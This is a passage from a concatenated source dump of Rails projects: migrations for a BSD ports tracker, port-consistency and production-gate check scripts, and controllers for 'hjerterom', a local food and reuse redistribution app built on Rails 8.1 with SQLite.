ActiveRecord::Migration[8.1]\n  def change\n    create_table :ports do |t|\n      t.string :name\n      t.string :version\n      t.references :category, foreign_key: true\n      t.string :maintainer\n      t.text :comment\n      t.text :description\n      t.string :homepage\n      t.string :pkgpath\n      t.boolean :permit_file_distfiles, default: false\n      t.date :last_updated\n      t.timestamps\n    end\n    add_index :ports, :name, unique: true\n    add_index :ports, :pkgpath, unique: true\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260507120003_create_dependencies.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateDependencies &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :dependencies do |t|\n      t.references :port, foreign_key: true\n      t.references :depends_on, foreign_key: { to_table: :ports }\n      t.string :dep_type\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260507120004_create_port_updates.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePortUpdates &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :port_updates do |t|\n      t.references :port, foreign_key: true\n      t.string :old_version\n      t.string :new_version\n      t.string :commit_id\n      t.text :commit_message\n      t.datetime :committed_at\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260507120005_create_watches.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateWatches &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :watches do |t|\n      t.references :user, foreign_key: true\n      t.references :port, foreign_key: true\n      t.boolean :notify_on_update, default: true\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260507120006_create_comments.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateComments &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :comments do |t|\n      t.references :user, foreign_key: true\n      t.references :port, foreign_key: true\n      t.integer :parent_id\n      t.text :content\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260528000100_create_ports_fts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePortsFts &lt; ActiveRecord::Migration[8.1]\n  def up\n    execute &lt;&lt;~SQL\n      CREATE VIRTUAL TABLE ports_fts USING fts5(\n        name, comment,\n        content='ports', content_rowid='id',\n        tokenize='unicode61'\n      );\n      INSERT INTO ports_fts(rowid, name, comment)\n        SELECT id, name, COALESCE(comment, '') FROM ports;\n      CREATE TRIGGER ports_ai AFTER INSERT ON ports BEGIN\n        INSERT INTO ports_fts(rowid, name, comment)\n          VALUES (new.id, new.name, COALESCE(new.comment, ''));\n      END;\n      CREATE TRIGGER ports_au AFTER UPDATE ON ports BEGIN\n        INSERT INTO ports_fts(ports_fts, rowid, name, comment)\n          VALUES ('delete', old.id, old.name, COALESCE(old.comment, ''));\n        INSERT INTO ports_fts(rowid, name, comment)\n          VALUES (new.id, new.name, COALESCE(new.comment, ''));\n      END;\n      CREATE TRIGGER ports_ad AFTER DELETE ON ports BEGIN\n        INSERT INTO ports_fts(ports_fts, rowid, name, comment)\n          VALUES ('delete', old.id, old.name, COALESCE(old.comment, ''));\n      END;\n    SQL\n  end\n\n  def down\n    execute \"DROP TABLE IF EXISTS ports_fts\"\n    execute \"DROP TRIGGER IF EXISTS ports_ai\"\n    execute \"DROP TRIGGER IF EXISTS ports_au\"\n    execute \"DROP TRIGGER IF EXISTS ports_ad\"\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260602123000_create_security_advisories.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSecurityAdvisories &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :security_advisories do |t|\n      t.references :port, null: true, foreign_key: true\n      t.string :identifier\n      t.string :title, null: false\n      t.text :description\n      t.integer :severity, default: 1\n      t.float :cvss_score\n      t.datetime :published_at\n      t.datetime :resolved_at\n      t.string :source_url\n      t.timestamps\n    end\n\n    add_index :security_advisories, :identifier, unique: true\n    add_index :security_advisories, :published_at\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260603123000_create_maintainers.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMaintainers &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :maintainers do |t|\n      t.string :name, null: false\n      t.string :email\n      t.boolean :active, default: true\n      t.timestamps\n    end\n    add_index :maintainers, :name, unique: true\n  end\nend\n```\n\n## `rails/bsdports/db/migrate/20260603123001_add_maintainer_to_ports.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddMaintainerToPorts &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_reference :ports, :maintainer, foreign_key: true, null: true\n  end\nend\n```\n\n## `rails/bsdports/db/seeds.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file should ensure the existence of records required to run the application in every environment (production,\n# development, test). The code here should be idempotent so that it can be executed at any point in every environment.\n# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).\n#\n# Example:\n#\n#   [\"Action\", \"Comedy\", \"Drama\", \"Horror\"].each do |genre_name|\n#     MovieGenre.find_or_create_by!(name: genre_name)\n#   end\n```\n\n## `rails/check_ports.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# Port consistency checker for DEPLOY/rails.\n# 0 -&gt; success, non-zero -&gt; validation failure.\n\nSCRIPT_DIR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" &amp;&amp; pwd)\nMASTER_JSON=${MASTER_JSON:-\"$SCRIPT_DIR/../master.json\"}\n\nlog()   { printf '%s\\n' \"$*\"; }\nerror() { printf '\u274c %s\\n' \"$*\" &gt;&amp;2; }\n\nrequire_command() {\n    command -v \"$1\" &gt;/dev/null 2&gt;&amp;1 || { error \"Missing required command: $1\"; exit 1; }\n}\n\nvalidate_master_json() {\n    [[ -f \"$MASTER_JSON\" ]] || { error \"master.json not found at: $MASTER_JSON\"; return 1; }\n    jq -e '.apps | type == \"array\" and length &gt; 0' \"$MASTER_JSON\" &gt;/dev/null 2&gt;&amp;1 ||\n        { error \"master.json must contain a non-empty .apps array\"; return 1; }\n}\n\nload_ports() {\n    APPS=()\n    declare -gA PORT_OF=()\n\n    while IFS=$'\\t' read -r app port; do\n        [[ -n \"$app\" &amp;&amp; -n \"$port\" ]] || { error \"App with missing name or port\"; return 1; }\n\n        case \"$port\" in\n            ''|*[!0-9]*) error \"Invalid port '$port' for app '$app'\"; return 1;;\n        esac\n        (( port &gt;= 1 &amp;&amp; port &lt;= 65535 )) || { error \"Port out of range '$port' for app '$app'\"; return 1; }\n\n        if [[ -n \"${PORT_OF[$app]+x}\" ]]; then\n            error \"Duplicate app name '$app' in master.json\"\n            return 1\n        fi\n\n        PORT_OF[$app]=$port\n        APPS+=(\"$app\")\n    done &lt; &lt;(jq -r '.apps[] | \"\\(.name)\\t\\(.port)\"' \"$MASTER_JSON\")\n}\n\ncheck_duplicate_ports() {\n    local duplicate=0 app port\n    declare -A seen=()\n\n    for app in \"${APPS[@]}\"; do\n        port=${PORT_OF[$app]}\n        if [[ -n \"${seen[$port]+x}\" ]]; then\n            error \"Port collision on $port: ${seen[$port]} and $app\"\n            duplicate=1\n        else\n            seen[$port]=$app\n        fi\n    done\n\n    return \"$duplicate\"\n}\n\nextract_installer_port() {\n    local installer=$1 line\n    while IFS= read -r line; do\n        if [[ $line =~ ^[[:space:]]*(readonly[[:space:]]+)?PORT=([0-9]+) ]]; then\n            printf '%s\\n' \"${BASH_REMATCH[2]}\"\n            return 0\n        fi\n    done &lt; \"$installer\"\n    return 1\n}\n\ncheck_expected_port_constants() {\n    local mismatch=0 app installer installer_port expected\n\n    for app in \"${APPS[@]}\"; do\n        installer=\"$SCRIPT_DIR/$app/$app.sh\"\n        [[ -f \"$installer\" ]] || continue\n\n        installer_port=$(extract_installer_port \"$installer\" || true)\n        expected=${PORT_OF[$app]}\n        if [[ -n \"$installer_port\" &amp;&amp; \"$installer_port\" != \"$expected\" ]]; then\n            error \"$installer sets PORT=${installer_port}, expected ${expected}\"\n            mismatch=1\n        fi\n    done\n\n    return \"$mismatch\"\n}\n\nmain() {\n    log \"=== Port Consistency Check ===\"\n    require_command jq\n\n    validate_master_json\n    load_ports\n    check_duplicate_ports\n\n    log \"\"\n    log \"Ports from ${MASTER_JSON}:\"\n    local app\n    for app in \"${APPS[@]}\"; do\n        log \"  - $app: ${PORT_OF[$app]}\"\n    done\n\n    if check_expected_port_constants; then\n        log \"\"\n        log \"\u2705 Port checks passed\"\n    else\n        exit 1\n    fi\n}\n\nmain \"$@\"\n```\n\n## `rails/check_production_gate.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \"open3\"\nrequire \"yaml\"\n\nROOT = File.expand_path(\"../..\", __dir__)\nRAILS_ROOT = File.join(ROOT, \"DEPLOY\", \"rails\")\nAPPS_YML = File.join(RAILS_ROOT, \"apps.yml\")\n\ndef fail!(failures, message)\n  failures &lt;&lt; message\nend\n\ndef active_lines(path)\n  File.readlines(path, chomp: true).reject { |line| line.strip.start_with?(\"#\") }\nend\n\ndef git_ls_files(pattern)\n  stdout, status = Open3.capture2(\"git\", \"-C\", ROOT, \"ls-files\", pattern)\n  status.success? ? stdout.lines.map(&amp;:chomp).reject(&amp;:empty?) : []\nend\n\nfailures = []\nwarnings = []\napps = YAML.safe_load_file(APPS_YML).fetch(\"apps\")\nenv_sample = File.join(RAILS_ROOT, \"env.sample\")\n\ntracked_master_keys = git_ls_files(\"DEPLOY/rails/*/config/master.key\")\nfail!(failures, \"tracked Rails master keys: #{tracked_master_keys.join(', ')}\") if tracked_master_keys.any?\nfail!(failures, \"missing shared DEPLOY/rails/env.sample\") unless File.file?(env_sample)\n\napps.each do |name, metadata|\n  app_dir = File.join(RAILS_ROOT, name)\n  next unless File.directory?(app_dir)\n\n  production = File.join(app_dir, \"config\", \"environments\", \"production.rb\")\n  gemfile = File.join(app_dir, \"Gemfile\")\n  ci_bin = File.join(app_dir, \"bin\", \"ci\")\n  deploy_script = File.join(ROOT, metadata.fetch(\"deploy_script\"))\n  domain = metadata.fetch(\"domain\")\n  app_failures = []\n\n  unless File.file?(production)\n    fail!(failures, \"#{name}: missing config/environments/production.rb\")\n    next\n  end\n\n  prod_active = active_lines(production)\n  fail!(app_failures, \"production config still has active example.com placeholder\") if prod_active.any? { |line| line.include?(\"example.com\") }\n  fail!(app_failures, \"production config must trust relayd with config.assume_ssl = true\") unless prod_active.any? { |line| line.match?(/\\bconfig\\.assume_ssl\\s*=\\s*true\\b/) }\n  fail!(app_failures, \"TLS terminates at relayd; do not enable config.force_ssl in Rails\") if prod_active.any? { |line| line.match?(/\\bconfig\\.force_ssl\\s*=\\s*true\\b/) }\n  fail!(app_failures, \"production mailer host must use #{domain}\") unless prod_active.any? { |line| line.include?(\"action_mailer.default_url_options\") &amp;&amp; line.include?(domain) }\n  fail!(app_failures, \"production config.hosts must include #{domain}\") unless prod_active.any? { |line| line.include?(\"config.hosts\") &amp;&amp; line.include?(domain) }\n  fail!(app_failures, \"production host_authorization must keep /up available\") unless prod_active.any? { |line| line.include?(\"config.host_authorization\") &amp;&amp; line.include?('\"/up\"') }\n  fail!(app_failures, \"Solid Cache must be enabled\") unless prod_active.any? { |line| line.match?(/\\bconfig\\.cache_store\\s*=\\s*:solid_cache_store\\b/) }\n  fail!(app_failures, \"Solid Queue must be enabled\") unless prod_active.any? { |line| line.match?(/\\bconfig\\.active_job\\.queue_adapter\\s*=\\s*:solid_queue\\b/) }\n\n  if File.file?(gemfile)\n    gemfile_text = File.read(gemfile)\n    warnings &lt;&lt; \"#{name}: Gemfile has no explicit ruby version\" unless gemfile_text.match?(/^ruby\\s+/)\n    fail!(app_failures, \"Gemfile must target Rails 8.1\") unless gemfile_text.match?(/^gem \"rails\", \"~&gt; 8\\.1/)\n  else\n    fail!(app_failures, \"missing Gemfile\")\n  end\n\n  if File.file?(ci_bin)\n    ci_text = File.read(ci_bin)\n    fail!(app_failures, \"bin/ci must be executable\") unless File.executable?(ci_bin)\n    fail!(app_failures, \"bin/ci must run RuboCop\") unless ci_text.include?(\"rubocop\")\n    fail!(app_failures, \"bin/ci must run bundler-audit\") unless ci_text.include?(\"bundler-audit\")\n    fail!(app_failures, \"bin/ci must run Brakeman\") unless ci_text.include?(\"brakeman\")\n    fail!(app_failures, \"bin/ci must run Rails tests\") unless ci_text.include?(\"rails\") &amp;&amp; ci_text.include?(\"test\")\n  else\n    fail!(app_failures, \"missing bin/ci\")\n  end\n\n  if File.file?(deploy_script)\n    deploy_text = File.read(deploy_script)\n    fail!(app_failures, \"deploy script must require ruby34\") unless deploy_text.include?(\"need_cmd ruby34\")\n    fail!(app_failures, \"deploy script must configure relayd for #{domain}\") unless deploy_text.include?(\"relayd_add_relay\")\n  else\n    fail!(app_failures, \"missing deploy script #{metadata.fetch('deploy_script')}\")\n  end\n\n  failures.concat(app_failures.map { |failure| \"#{name}: #{failure}\" })\nend\n\nif warnings.any?\n  warn \"Production gate warnings:\"\n  warnings.each { |warning| warn \"  - #{warning}\" }\nend\n\nif failures.any?\n  warn \"Production gate failures:\"\n  failures.each { |failure| warn \"  - #{failure}\" }\n  exit 1\nend\n\nputs \"Production gate passed for #{apps.size} Rails apps.\"\n```\n\n## `rails/hjerterom/Gemfile`\n```text\nsource \"https://rubygems.org\"\nruby \"~&gt; 3.4\"\n\n# Bundle edge Rails instead: gem \"rails\", github: \"rails/rails\", branch: \"main\"\ngem \"rails\", \"~&gt; 8.1.2\"\n# The modern asset pipeline for Rails [https://github.com/rails/propshaft]\ngem \"propshaft\"\n# Use sqlite3 as the database for Active Record\ngem \"sqlite3\", \"&gt;= 2.1\"\n# Use the Puma web server [https://github.com/puma/puma]\n# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]\ngem \"importmap-rails\"\n# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]\ngem \"turbo-rails\"\n# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]\ngem \"stimulus-rails\"\n# Build JSON APIs with ease [https://github.com/rails/jbuilder]\ngem \"jbuilder\"\n\n# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]\n# gem \"bcrypt\", \"~&gt; 3.1.7\"\n\n# Windows does not include zoneinfo files, so bundle the tzinfo-data gem\ngem \"tzinfo-data\", platforms: %i[ windows jruby ]\n\n# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable\ngem \"solid_cache\"\ngem \"solid_queue\"\ngem \"solid_cable\"\n\n# Reduces boot times through caching; required in config/boot.rb\ngem \"bootsnap\", require: false\n\n# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]\ngem \"image_processing\", \"~&gt; 1.2\"\n\ngroup :development, :test do\n  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem\n  gem \"debug\", platforms: %i[ mri windows ], require: \"debug/prelude\"\n\n  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)\n  gem \"bundler-audit\", require: false\n\n  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]\n  gem \"brakeman\", require: false\n\n  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]\n  gem \"rubocop-rails-omakase\", require: false\nend\n\ngroup :development do\n  # Use console on exceptions pages [https://github.com/rails/web-console]\n  gem \"web-console\"\nend\ngem \"pagy\"\ngem \"falcon\"\n```\n\n## `rails/hjerterom/README.md`\n```markdown\n# hjerterom \u2014 food and reuse network\n\nRuns local resource redistribution like a food bank, not a social network. Receive, sort, pack, distribute, track.\n\n## Features\n\n- Food rescue and weekly box coordination\n- Clothing, toy, and book reuse tracking\n- Volunteer shift scheduling and notifications\n- Donor and beneficiary matching\n- Distribution route optimization\n\n## Stack\n\nRails 8 \u00b7 SQLite \u00b7 Falcon \u00b7 Hotwire \u00b7 OpenBSD\n\n## Current Integration Status (2026)\n\n- **Visual system**: Target Brgen cinema palette + NNG tokens (see family `WIRING_NOTES.md`).\n- **Activity Graph**: Should emit donation, distribution, and volunteer events to the shared graph.\n- **Photo / Multimodal**: Can leverage public photo upload for donation photos.\n- **Shared patterns**: Use shared social concerns (Reactable, Followable, Notification) and EventEmitter where relevant.\n- Deploy follows the thin tracked-tree model.\n\nSee `DEPLOY/rails/ARCHITECTURE_NOTES.md` and `WIRING_NOTES.md`.\n\n## Deploy\n\n```zsh\ndoas zsh DEPLOY/rails/hjerterom/hjerterom.sh\n```\n```\n\n## `rails/hjerterom/app/controllers/application_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationController &lt; ActionController::Base\n  include Authentication\n  include Pagy::Method\n  allow_browser versions: :modern\nend\n```\n\n## `rails/hjerterom/app/controllers/boxes_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass BoxesController &lt; ApplicationController\n  before_action :require_real_user\n  before_action :set_box, only: %i[show update]\n\n  def index\n    @boxes = Box.open.order(week_start: :desc)\n  end\n\n  def show; end\n\n  def new\n    @box = Box.new(week_start: Date.current.beginning_of_week)\n  end\n\n  def create\n    @box = Box.new(box_params)\n    if @box.save\n      respond_to do |f|\n        f.html { redirect_to @box }\n        f.turbo_stream\n      end\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def update\n    if @box.update(box_params)\n      respond_to do |f|\n        f.html { redirect_to @box }\n        f.turbo_stream\n      end\n    else\n      render :show, status: :unprocessable_entity\n    end\n  end\n\n  private\n\n  def set_box\n    @box = Box.find(params[:id])\n  end\n\n  def box_params\n    params.require(:box).permit(:week_start, :beneficiary_id, :notes, :status)\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/community_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CommunityController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[index show]\n\n  def index\n    @categories = Category.order(:name)\n    @pagy, @posts = pagy(Post.recent.includes(:user, :category))\n  end\n\n  def show\n    @post     = Post.find(params[:id])\n    @post.increment!(:views_count)\n    @comments = @post.comments.roots.includes(:user, replies: :user)\n    @comment  = Comment.new\n  end\n\n  def new\n    @post = Post.new\n  end\n\n  def create\n    @post = Current.user.posts.build(post_params)\n    @post.save ? redirect_to(community_show_path(@post), notice: \"Posted\") : render(:new, status: :unprocessable_entity)\n  end\n\n  private\n\n  def post_params\n    params.require(:post).permit(:title, :body, :category_id, :anonymous)\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/concerns/authentication.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Authentication\n  extend ActiveSupport::Concern\n\n  included do\n    before_action :require_authentication\n    helper_method :authenticated?\n  end\n\n  class_methods do\n    def allow_unauthenticated_access(**options)\n      skip_before_action :require_authentication, **options\n    end\n  end\n\n  private\n    def authenticated?\n      resume_session\n    end\n\n    def require_authentication\n      resume_session || request_authentication\n    end\n\n    def resume_session\n      Current.session ||= find_session_by_cookie\n    end\n\n    def find_session_by_cookie\n      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]\n    end\n\n    def request_authentication\n      session[:return_to_after_authenticating] = request.url\n      redirect_to new_session_path\n    end\n\n    def after_authentication_url\n      session.delete(:return_to_after_authenticating) || root_url\n    end\n\n    def start_new_session_for(user)\n      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|\n        Current.session = session\n        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }\n      end\n    end\n\n    def terminate_session\n      Current.session.destroy\n      cookies.delete(:session_id)\n    end\nend\n```\n\n## `rails/hjerterom/app/controllers/donations_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DonationsController &lt; ApplicationController\n  before_action :require_real_user\n  before_action :set_donation, only: %i[show update destroy]\n\n  def index\n    @donations = Donation.active.order(created_at: :desc)\n  end\n\n  def show; end\n\n  def new\n    @donation = Donation.new\n  end\n\n  def create\n    @donation = Donation.new(donation_params)\n    if @donation.save\n      respond_to do |f|\n        f.html { redirect_to @donation }\n        f.turbo_stream\n      end\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def update\n    if @donation.update(donation_params)\n      respond_to do |f|\n        f.html { redirect_to @donation }\n        f.turbo_stream\n      end\n    else\n      render :show, status: :unprocessable_entity\n    end\n  end\n\n  def destroy\n    @donation.destroy!\n    redirect_to donations_path\n  end\n\n  private\n\n  def set_donation\n    @donation = Donation.find(params[:id])\n  end\n\n  def donation_params\n    params.require(:donation).permit(:source_name, :pickup_window, :notes, :status)\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/food_listings_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FoodListingsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[index show]\n  before_action :set_listing, only: %i[show edit update destroy]\n  before_action :authorize!, only: %i[edit update destroy]\n\n  def index\n    @pagy, @listings = pagy(FoodListing.available.order(created_at: :desc))\n  end\n\n  def show\n    @request = FoodRequest.new\n  end\n\n  def new\n    @listing = Current.user.food_listings.build\n  end\n\n  def create\n    @listing = Current.user.food_listings.build(listing_params)\n    @listing.save ? redirect_to(@listing, notice: \"Food listing created\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def edit; end\n\n  def update\n    @listing.update(listing_params) ? redirect_to(@listing, notice: \"Updated\") : render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @listing.destroy\n    redirect_to food_listings_path, notice: \"Listing removed\"\n  end\n\n  private\n\n  def set_listing  = @listing = FoodListing.find(params[:id])\n  def authorize!   = redirect_to(food_listings_path, alert: \"Unauthorized\") unless @listing.user == Current.user\n\n  def listing_params\n    params.require(:food_listing).permit(\n      :title, :description, :quantity, :unit,\n      :available_from, :available_until,\n      :pickup_address, :city, :dietary_info\n    )\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/food_requests_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FoodRequestsController &lt; ApplicationController\n  def create\n    listing  = FoodListing.find(params[:food_listing_id])\n    @request = listing.food_requests.build(request_params.merge(user: Current.user, status: \"pending\"))\n    @request.save ? redirect_to(listing, notice: \"Request sent\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def update\n    @request = FoodRequest.find(params[:id])\n    authorize_owner!\n    @request.update!(status: params[:status]) if params[:status].in?(%w[approved declined])\n    redirect_to @request.food_listing\n  end\n\n  private\n\n  def authorize_owner! = redirect_to(root_path, alert: \"Unauthorized\") unless @request.food_listing.user == Current.user\n  def request_params   = params.require(:food_request).permit(:message, :pickup_time)\nend\n```\n\n## `rails/hjerterom/app/controllers/home_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass HomeController &lt; ApplicationController\n  \u00c5SANE_CENTER = { lat: 60.4669, lng: 5.3256 }.freeze\n\n  allow_unauthenticated_access only: :index\n\n  def index\n    @crisis_lines  = Crisis.where(available_24h: true).limit(5)\n    @food_listings = FoodListing.available.order(created_at: :desc).limit(20)\n    @posts         = Post.recent.includes(:user, :category).limit(5)\n    @resources     = Resource.verified.limit(20)\n    @mapbox_token  = mapbox_token\n    @map_points    = map_points\n  end\n\n  private\n\n  def mapbox_token\n    ENV[\"MAPBOX_API_KEY\"].presence\n  end\n\n  def map_points\n    food_points + resource_points\n  end\n\n  def food_points\n    @food_listings.filter_map do |listing|\n      lat = listing.latitude || \u00c5SANE_CENTER[:lat]\n      lng = listing.longitude || \u00c5SANE_CENTER[:lng]\n      {\n        type: \"food\",\n        title: listing.title,\n        subtitle: [listing.city, listing.available_until&amp;.strftime(\"%b %-d\")].compact.join(\" \u00b7 \"),\n        url: food_listing_path(listing),\n        lat: lat,\n        lng: lng\n      }\n    end\n  end\n\n  def resource_points\n    @resources.filter_map do |resource|\n      lat = resource.latitude || \u00c5SANE_CENTER[:lat]\n      lng = resource.longitude || \u00c5SANE_CENTER[:lng]\n      {\n        type: \"resource\",\n        title: resource.title,\n        subtitle: [resource.resource_type&amp;.humanize, resource.city].compact.join(\" \u00b7 \"),\n        url: resource_path(resource),\n        lat: lat,\n        lng: lng\n      }\n    end\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/passwords_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsController &lt; ApplicationController\n  allow_unauthenticated_access\n  before_action :set_user_by_token, only: %i[ edit update ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_password_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.find_by(email_address: params[:email_address])\n      PasswordsMailer.reset(user).deliver_later\n    end\n\n    redirect_to new_session_path, notice: \"Password reset instructions sent (if user with that email address exists).\"\n  end\n\n  def edit\n  end\n\n  def update\n    if @user.update(params.permit(:password, :password_confirmation))\n      @user.sessions.destroy_all\n      redirect_to new_session_path, notice: \"Password has been reset.\"\n    else\n      redirect_to edit_password_path(params[:token]), alert: \"Passwords did not match.\"\n    end\n  end\n\n  private\n    def set_user_by_token\n      @user = User.find_by_password_reset_token!(params[:token])\n    rescue ActiveSupport::MessageVerifier::InvalidSignature\n      redirect_to new_password_path, alert: \"Password reset link is invalid or has expired.\"\n    end\nend\n```\n\n## `rails/hjerterom/app/controllers/resources_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ResourcesController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[index show]\n  before_action :set_resource, only: %i[show edit update destroy]\n  before_action :authorize!, only: %i[edit update destroy]\n\n  def index\n    scope = Resource.includes(:category)\n    scope = scope.by_type(params[:type]) if params[:type].present?\n    scope = scope.where(\"title LIKE ?\", \"%#{params[:q]}%\") if params[:q].present?\n    @pagy, @resources = pagy(scope.verified.order(:title))\n    @crisis_lines = Crisis.all\n  end\n\n  def show; end\n\n  def new\n    @resource = Current.user.resources.build\n  end\n\n  def create\n    @resource = Current.user.resources.build(resource_params)\n    @resource.save ? redirect_to(@resource, notice: \"Resource submitted for review\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def edit; end\n\n  def update\n    @resource.update(resource_params) ? redirect_to(@resource, notice: \"Updated\") : render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @resource.destroy\n    redirect_to resources_path, notice: \"Removed\"\n  end\n\n  private\n\n  def set_resource  = @resource = Resource.find(params[:id])\n  def authorize!    = redirect_to(resources_path, alert: \"Unauthorized\") unless @resource.user == Current.user\n\n  def resource_params\n    params.require(:resource).permit(\n      :title, :description, :url, :address, :city, :postal_code,\n      :phone, :email, :resource_type, :opening_hours, :category_id\n    )\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/sessions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SessionsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[ new create ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_session_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.authenticate_by(params.permit(:email_address, :password))\n      start_new_session_for user\n      redirect_to after_authentication_url\n    else\n      redirect_to new_session_path, alert: \"Try another email address or password.\"\n    end\n  end\n\n  def destroy\n    terminate_session\n    redirect_to new_session_path, status: :see_other\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/shifts_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ShiftsController &lt; ApplicationController\n  before_action :require_real_user\n  before_action :set_volunteer, only: %i[create]\n  before_action :set_shift, only: %i[update]\n\n  def index\n    @shifts = Shift.future\n  end\n\n  def create\n    @shift = @volunteer.shifts.build(shift_params)\n    if @shift.save\n      respond_to do |f|\n        f.html { redirect_to volunteer_path(@volunteer) }\n        f.turbo_stream\n      end\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def update\n    if @shift.update(shift_params)\n      respond_to do |f|\n        f.html { redirect_to shifts_path }\n        f.turbo_stream\n      end\n    else\n      render :index, status: :unprocessable_entity\n    end\n  end\n\n  private\n\n  def set_volunteer\n    @volunteer = Volunteer.find(params[:volunteer_id])\n  end\n\n  def set_shift\n    @shift = Shift.find(params[:id])\n  end\n\n  def shift_params\n    params.require(:shift).permit(:starts_at, :ends_at, :kind, :state, :notes)\n  end\nend\n```\n\n## `rails/hjerterom/app/controllers/volunteers_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass VolunteersController &lt; ApplicationController\n  before_action :require_real_user\n  before_action :set_volunteer, only: %i[show update]\n\n  def index\n    @volunteers = Volunteer.available.order(:name)\n  end\n\n  def show\n    @shifts = @volunteer.shifts.future\n  end\n\n  def new\n    @volunteer = Volunteer.new\n  end\n\n  def create\n    @volunteer = Volunteer.new(volunteer_params)\n    if @volunteer.save\n      respond_to do |format|\n        format.html { redirect_to @volunteer }\n        format.turbo_stream\n      end\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def update\n    if @volunteer.update(volunteer_params)\n      respond_to do |f|\n        f.html { redirect_to @volunteer }\n        f.turbo_stream\n      end\n    else\n      render :show, status: :unprocessable_entity\n    end\n  end\n\n  private\n\n  def set_volunteer\n    @volunteer = Volunteer.find(params[:id])\n  end\n\n  def volunteer_params\n    params.require(:volunteer).permit(:name, :email, :phone, :active, :notes)\n  end\nend\n```\n\n## `rails/hjerterom/app/javascript/application.js`\n```javascript\n// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails\nimport \"@hotwired/turbo-rails\"\nimport \"controllers\"\nimport \"hjerterom_map\"\n\nif (\"serviceWorker\" in navigator) navigator.serviceWorker.register(\"/service-worker\")\n\n// Nav swipe-to-reveal\ndocument.addEventListener(\"turbo:load\", () =&gt; {\n  const nav = document.querySelector(\"nav\");\n  if (!nav) return;\n  let y0 = 0;\n  document.addEventListener(\"touchstart\", e =&gt; { y0 = e.touches[0].clientY; }, { passive: true });\n  document.addEventListener(\"touchend\", e =&gt; {\n    const dy = e.changedTouches[0].clientY - y0;\n    if (dy &gt; 40) 